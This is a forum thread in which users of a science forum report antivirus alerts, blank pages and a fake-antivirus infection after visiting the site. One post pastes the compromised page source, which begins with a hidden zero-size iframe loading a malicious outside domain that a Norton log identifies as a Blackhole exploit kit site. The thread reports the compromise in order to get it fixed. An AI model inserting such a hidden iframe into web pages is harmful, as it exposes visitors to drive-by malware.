Jump to content
Science Forums

Virus warning, blank screens, etc


Aethelwulf

Recommended Posts

For about the last 24 hours, I've had problems with this site. The following alert pops up and prevents anything but a white screen from scienceforums.com

I can get in through hypography.com and selecting forums, but still have the threat pop-up and problems with all parts of the forum loading.

 

OS is Windows Vista, problem occurs with IE, Firefox, and Chrome.

 

Link to comment
Share on other sites

Pull the site and clean it. The source below is from the page I am editing this post on now.

 

<iframe src="http://attentiongettingdokogeo.info/main.php" width=0 height=0 frameborder=0 style="display:none;"></iframe><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml">

<head>

<meta http-equiv="content-type" content="text/html; charset=UTF-8" />

<title>Avg Showing Site As A Threat - Hypography Science Forums</title>

<link rel="shortcut icon" href='http://scienceforums.com/favicon.ico' />

<link rel="image_src" href='http://scienceforums.com/public/style_images/master/scienceforums.png' />

<script type='text/javascript'>

Link to comment
Share on other sites

This seems like as good a thread as any to let you know that today when I came to this forum, my Norton is advising me that we are under attack every time I load a page here. Also, the only way that I can get to a thread is by means of the subforum and the thread title. The links from who posted most recently only come up to a white page. Here is an image taken with my snip tool in case it is of any assistance.

 

Oh, yes, and the image link is not working but I believe the link will get you through to my Picassa Web image.

 

https://lh4.googleus.../Hypography.PNG

 

I am not having this problem on any of the other forums I post on although the same thing happened several months ago at one of them and the administrator was able to fix things. It will be deterring visitors to your thread, I am thinking, to be greeted by such things.

Link to comment
Share on other sites

Under the Rose is not the only one getting those intrusion attacks by Norton when clicking on a notification email link. I copied the more details and pasted below. If I copied the same link out of the email and had Norton check it it comes back saying it's safe. Also, this has only happened when accessing this forum.

 

Category: Intrusion Prevention Date & Time,Risk,Activity,Status,Recommended Action,IPS Alert Name,Default Action,Action Taken,Attacking Computer,Attacker URL,Destination Address,Source Address,Traffic Description 2012-08-01 19:40:32,High,An intrusion attempt by 208.76.52.102 was blocked.,Blocked,No Action Required,Web Attack: Blackhole Toolkit Website 20,No Action Required,No Action Required,"208.76.52.102, 80",attentiongettingdokogeo.info/main.php,"PC (192.168.0.3, 54458)",208.76.52.102,"TCP, www-http" Network traffic from <b>attentiongettingdokogeo.info/main.php</b> matches the signature of a known attack. The attack was resulted from \DEVICE\HARDDISKVOLUME2\PROGRAM FILES (X86)\MOZILLA FIREFOX\FIREFOX.EXE. To stop being notified for this type of traffic, in the <b>Actions</b> panel, click <b>Stop Notifying Me</b>.
Edited by arKane
Link to comment
Share on other sites

I got the following notification email yesterday about 9:30 pm, but cannot find it in this topic for some reason.

 

Under the Rose has just posted a reply to a topic that you have subscribed to titled "The Great Spam Storm Of 13-14 July 2012".

 

----------------------------------------------------------------------

This seems like as good a thread as any to let you know that today when I came to this forum, my Norton is advising me that we are under attack every time I load a page here. Also, the only way that I can get to a thread is by means of the subforum and the thread title. The links from who posted most recently only come up to a white page. Here is an image taken with my snip tool in case it is of any assistance.

 

Oh, yes, and the image link is not working but I believe the link will get you through to my Picassa Web image.

 

https://lh4.googleus.../Hypography.PNG (https://lh4.googleusercontent.com/-YgXsb-XgNEQ/UBoBPF0ppEI/AAAAAAAAAWY/ZTe4xWFzd34/s188/Hypography.PNG)

 

I am not having this problem on any of the other forums I post on although the same thing happened several months ago at one of them and the administrator was able to fix things. It will be deterring visitors to your thread, I am thinking, to be greeted by such things.

----------------------------------------------------------------------

Link to comment
Share on other sites

ok, same thing happened to me, but it is called live securuty platinum

 

cannot remove it from my computer

 

and it limited access to the net

it happened right whne i logged on to hypography yesterday

 

my browser shut,

 

and i had to go to a restore point just to use the web

 

now was it loading up this site, or what

 

i don't know

 

but the site was down yesterday

 

and everytime i tried to acess it, same thing happened

 

and i'm still trying to remove the live security platinum

 

( 85 dollars for a lifetime subscription, not bad, but don't have the dough )

 

dang

Link to comment
Share on other sites

i get live security platinum,

 

same thing,

 

basically

but now its on my computer,

 

i had to use a restore point just to access the web in anyway, shape or form

 

i used housecall, and it found 1 threat and supposedly eliminated it

 

but the darm program is still on my computer

 

i deleted the files manually

 

but when i turned my computer back on

 

there it was again

 

does hypography have a housecall like function, or thread?

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
×
×
  • Create New...